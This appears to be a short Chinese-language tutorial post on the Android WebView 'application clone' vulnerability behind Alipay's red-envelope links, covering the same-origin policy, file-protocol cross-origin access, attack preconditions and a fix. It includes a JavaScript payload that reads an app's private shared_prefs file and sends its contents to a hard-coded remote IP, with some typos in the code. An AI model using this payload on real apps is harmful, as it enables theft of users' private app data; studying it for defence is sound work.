支付宝应用克隆2018/01/09

支付宝应用克隆


应用克隆,从支付宝自动领红包链接谈起

流程总结

自动抢红包的链接

通过接收外部传入的URL参数,在APP内进行加载 · URL Scheme协议 · link

跨域

浏览器同源策略 · 两个URL的协议、端口、域名相同,则为同源,互相访问资源不受限制

跨域请求 · 不同的源之间的请求,会被浏览器所禁止

File协议

主要用于访问本地文件 · html文件

WebView · setAllowUniversalAccessFromFileURLs · True

File协议的跨域机制 · File协议中的脚本可以跨域访问其他协议,比如HTTP

攻击思路

恶意html文件读取本地敏感文件内容,并通过HTTP请求发送至远程服务器

WebView加载本地恶意html文件

漏洞前提

  • 攻击者可以外部调用被攻击APP,指令其加载一个本地的html文件(比如抢红包链接)
  • 被攻击APP的setAllowUniversalAccessFromFileURLs值为true
  • 攻击者需要在被攻击的手机上下载一个html文件并保存在一个可被File协议访问到的位置(可以利用其他漏洞来实现)

payload


<script>

    var arm ="file:///data/data/com.example.q00412688.myapplication/shared_prefs/config.xml";
    var xmlhttp;

    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }

    xmlhttp.onreadystatechange=function()
    {
        //alert("statusis"+xmlhttp.status);
        if (xmlhttp.readyState==4)
        {
            window.data=xmlhttp.responseText;
            alert(window.data);
            var url ="http://114.115.139.176/getdata.jsp?data="+window.data;
            var xmlhttp2;

            if(window.XMLHttpRequest)
            {
                xmlhttp2=newXMLHttpRequest();
            }

            xmlhttp2.onreadystatechange=function()
            {
                //alert("statusis"+xmlhttp.status);
                if(xmlhttp2.readyState==4)
                {
                    alert(xmlhttp2.responseText);
                }
            }

            xmlhttp2.open("GET",url);
            xmlhttp2.send(null);
        }
    }

    xmlhttp.open("GET",arm);
    xmlhttp.send(null);

script>
html>

修复方案

将setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs这两个属性显示设置为False。

你可能感兴趣的:(【移动端漏洞学习】)